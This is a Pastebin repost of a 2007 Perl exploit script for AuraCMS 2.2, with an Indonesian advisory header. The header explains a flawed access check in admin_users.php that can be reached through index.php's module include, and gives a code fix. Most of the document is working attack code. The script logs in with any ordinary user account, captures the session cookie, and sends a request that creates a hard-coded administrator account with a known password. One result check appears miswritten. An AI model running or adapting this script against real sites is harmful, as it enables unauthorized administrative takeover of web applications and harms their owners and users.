Advertisement
LelakiBesi

Ntah la

Jul 24th, 2014
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.70 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Indonesian Newhack Security Advisory
  4. # ------------------------------------
  5. # AuraCMS 2.2 - (admin_users.php) Remote Add Administrator Exploit
  6. # Waktu : Dec 25 2007 04:50AM
  7. # Software : AuraCMS 2.2
  8. # Vendor : http://www.auracms.org/
  9. # Ditemukan oleh : k1tk4t | http://newhack.org
  10. # Lokasi : Indonesia
  11. # Penjelasan :
  12. #
  13. # Kutu pada berkas "admin_users.php"
  14. # coba kita lihat ;
  15. # 01. <?
  16. # 02. if(ereg(basename (__FILE__), $_SERVER['PHP_SELF']))
  17. # 03. {
  18. # 04. header("HTTP/1.1 404 Not Found");
  19. # 05. exit;
  20. # 06. }
  21. # ---//---
  22. # 12. if (!cek_login()){
  23. # 13. header("location: index.php");
  24. # 14. exit;
  25. # 15. } else{
  26. # ---//----
  27. # Ada yang menarik pada berkas "admin_users.php", pada baris 02 - 06 sebenarnya berkas ini sudah cukup aman
  28. # karena jika berkas ini dipanggil langsung dari browser [http://target.com/admin/admin_users.php] akan menjawab Not Found dan Keluar
  29. # mmm....!!! coba perhatikan baris 12 - 15, jika "cek_login()" maka akan meneruskan ke perintah2 berikutnya.
  30. # Disinilah kita mencoba 'bermain' ;)
  31. # fungsi "cek_login()" ini hanya mengecek status login melalui session cookie, dengan semua level login [user,editor,administrator]
  32. # Sehingga "admin_users.php" dapat di akses oleh user dengan level apa saja[tidak untuk TAMU],
  33. #
  34. # => Lantas Bagaimana Mengaksesnya, bukankah berkas "admin_users.php" tidak bisa dipanggil langsung [Baris 02 - 06] ?
  35. # yup benar ;) "admin_users.php" tidak bisa di panggil langsung melalui browser, sekarang coba kita lihat pada berkas "index.php" ;
  36. # ---//---
  37. # 71. if(!isset($_GET['pilih'])){
  38. # 72. include 'content/normal.php';
  39. # 73. }else if (@$_GET['mod'] == 'yes' && file_exists('mod/'.@$_GET['pilih'].'/'.@$_GET['pilih'].'.php') && !isset($_GET['act']) && !preg_match("/\.\./",$_GET['pilih'])) {
  40. # 74. include 'mod/'.$_GET['pilih'].'/'.$_GET['pilih'].'.php';
  41. # 75. }else if (@$_GET['mod'] == 'yes' && file_exists('mod/'.@$_GET['pilih'].'/'.@$_GET['act'].'.php') && !preg_match("/\.\./",$_GET['pilih'])) {
  42. # 76. include 'mod/'.@$_GET['pilih'].'/'.@$_GET['act'].'.php';
  43. # 77. }else if(!isset($_GET['mod']) && !isset($_GET['act']) && file_exists('content/'.$_GET['pilih'].'.php') && !preg_match("/\.\./",$_GET['pilih'])) {
  44. # 78. include 'content/'.$_GET['pilih'].'.php';
  45. # 79. }else {
  46. # 80. header("location: index.php");
  47. # 81. exit;
  48. # 82. }
  49. # ---//---
  50. # mm... perhatikan kode2 tersebut... menarik bukan?
  51. # iya dengan berkas "index.php" inilah kita bisa mengakses "admin_users.php" atau dengan kata lain mematahkan baris 02 - 06 pada berkas "admin_users.php",
  52. #
  53. # => Ooo Gitu..., terus memperbaikinya gmana ?
  54. # hehehe...
  55. # coba ganti baris 02 - 06 pada berkas "admin_users.php" dengan ;
  56. # ---//---
  57. # 02. if (!defined('AURACMS_admin')) {
  58. # 03. Header("Location: ../index.php");
  59. # 04. exit;
  60. # 04. }
  61. # ---//--
  62. # Sebenarnya code tersebut sudah ada pada berkas2 admin lainnya, terkecuali pada berkas ;
  63. # "admin_users.php"
  64. # "admin_poll.php"
  65. # "admin_kalender.php"
  66. #
  67. # => Ada apa lagi ?
  68. # Exploit ini dibuat untuk pengetesan belaka, bukan untuk kegiatan terlarang
  69. # saya[k1tk4t] dan "Indonesian Newhack Technology" tidak bertanggung jawab akan kerusakan yang diakibatkan dari penyalahgunaan exploit pada site
  70. #
  71. # =>
  72. # Terima Kasih untuk;
  73. # -[opt1lc, fl3xu5, ghoz]-
  74. # str0ke, DNX, xoron, cyb3rh3b, K-159, the_hydra, y3dips
  75. # nyubi,iFX,sin~X,k1n9k0ng,bius,selikoer,aldy_BT
  76. # Komunitas Security dan Hacker Indonesia
  77. #
  78. # ----------------------------[Mulai]------------------------------------
  79. use IO::Socket;
  80.  
  81. if(!$ARGV[4])
  82. {
  83. print "\n |--------------------------------------------------------|";
  84. print "\n | Indonesian Newhack Technology |";
  85. print "\n |--------------------------------------------------------|";
  86. print "\n |AuraCMS 2.2 - (admin_users.php) Remote Add Admin Exploit|";
  87. print "\n | Coded by k1tk4t |";
  88. print "\n |--------------------------------------------------------|";
  89. print "\n[!] ";
  90. print "\n[!] Buat Account terlebih dahulu pada site target dan pastikan Account tesebut bisa digunakan";
  91. print "\n[!] Username dan Password tadi akan digunakan untuk membuat Account admin dengan exploit ini";
  92. print "\n[!] Penggunaan : perl auracms22.pl [Site] [Path] [Port] [Username] [Password] ";
  93. print "\n[!] Contoh : perl auracms22.pl target.com /auracms2.2/ 80 bugtest 123456";
  94. print "\n[!] ";
  95. print "\n";
  96. exit;
  97. }
  98.  
  99. $oriserver = $ARGV[0];
  100. $orihost = "http://".$oriserver;
  101. $oridir = $ARGV[1];
  102. $oriport = $ARGV[2];
  103. $oriuser = $ARGV[3];
  104. $oripass = $ARGV[4];
  105.  
  106. #Sending data...
  107. print "- Melakukan Koneksi $orihost$oridir\r\n\r\n";
  108. logindulu();
  109.  
  110. sub logindulu ()
  111. {
  112. $ldberkas = "index.php";
  113. $ldlengkap = $oridir.$ldberkas;
  114. $lddata = "username=".$oriuser;
  115. $lddata.= "&password=".$oripass;
  116. $lddata.= "&loguser=1";
  117. $lddata.= "&submit_login=Login";
  118. $lddatajml = length($lddata);
  119. $ldkonek = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Connection failed...\r\n";
  120. print $ldkonek "POST $ldlengkap HTTP/1.1\n";
  121. print $ldkonek "Accept: */*\r\n";
  122. print $ldkonek "Referer: $orihost\r\n";
  123. print $ldkonek "Accept-Language: en-us,en;q=0.5\r\n";
  124. print $ldkonek "Content-Type: application/x-www-form-urlencoded\r\n";
  125. print $ldkonek "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\n";
  126. print $ldkonek "Host: $oriserver\r\n";
  127. print $ldkonek "Content-length: $lddatajml\r\n";
  128. print $ldkonek "Connection: Keep-Alive\r\n";
  129. print $ldkonek "Cache-Control: no-cache\r\n\r\n";
  130. print $ldkonek $lddata;
  131. print $ldkonek "\r\n\r\n";
  132. while ($hasil = <$ldkonek>) {
  133. if ($hasil =~ /Set-Cookie: (.*?) path=\//) { $ldkonekcookie = $ldkonekcookie.$1; }
  134. if ($hasil =~ /<b>$oriuser<\/b>/) { buatadmin(); }
  135. }
  136. die "- Gagal Login\r\n";
  137. }
  138. sub buatadmin ()
  139. {
  140. close ($ldkonek);
  141. print "- Membuat User t4mugel4p dengan level Administrator\r\n\r\n";
  142. $baberkas = "index.php?pilih=news&act=../../admin/admin_users&mod=yes&aksi=add";
  143. $balengkap = $oridir.$baberkas;
  144. $badata = "user=t4mugel4p";
  145. $badata.= "&password=t4mugel4p";
  146. $badata.= "&email=t4mugel4p%40gelapbanget.gitu";
  147. $badata.= "&level=Administrator";
  148. $badata.= "&tipe=aktif";
  149. $badata.= "&add_users=Add";
  150. $badatajml = length($badata);
  151. $bakonek = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Connection failed...\r\n";
  152. print $bakonek "POST $balengkap HTTP/1.1\r\n";
  153. print $bakonek "Accept: */*\r\n";
  154. print $bakonek "Referer: $orihost.$balengkap\r\n";
  155. print $bakonek "Accept-Language: en-us,en;q=0.5\r\n";
  156. print $bakonek "Content-Type: application/x-www-form-urlencoded\r\n";
  157. print $bakonek "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\n";
  158. print $bakonek "Cookie: $ldkonekcookie\r\n";
  159. print $bakonek "Host: $oriserver\r\n";
  160. print $bakonek "Content-length: $badatajml\r\n";
  161. print $bakonek "Connection: Keep-Alive\r\n";
  162. print $bakonek "Cache-Control: no-cache\r\n\r\n";
  163. print $bakonek $badata;
  164. print $bakonek "\r\n\r\n";
  165. while ($hasil = <$bakonek>) {
  166. if ($hasil =~ /Data Berhasil Di add/) {
  167. print "- Exploiting Selesai dan SUKSES !!!\r\n\r\n";
  168. print "- Login admin menggunakan\r\n" ;
  169. print "- Username : t4mugel4p\r\n";
  170. print "- Password : t4mugel4p\r\n\r\n";
  171. print "- Pada site $orihost$ldlengkap\r\n";
  172. exit();
  173. }
  174. if ($hasil =~ /(Data Berhasil Di add)/) {
  175. print "- Exploit Gagal\r\n";
  176. exit();
  177. }
  178. }
  179. die "- Exploit Gagal\r\n";
  180. }
  181.  
  182. # milw0rm.com [2007-12-25]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement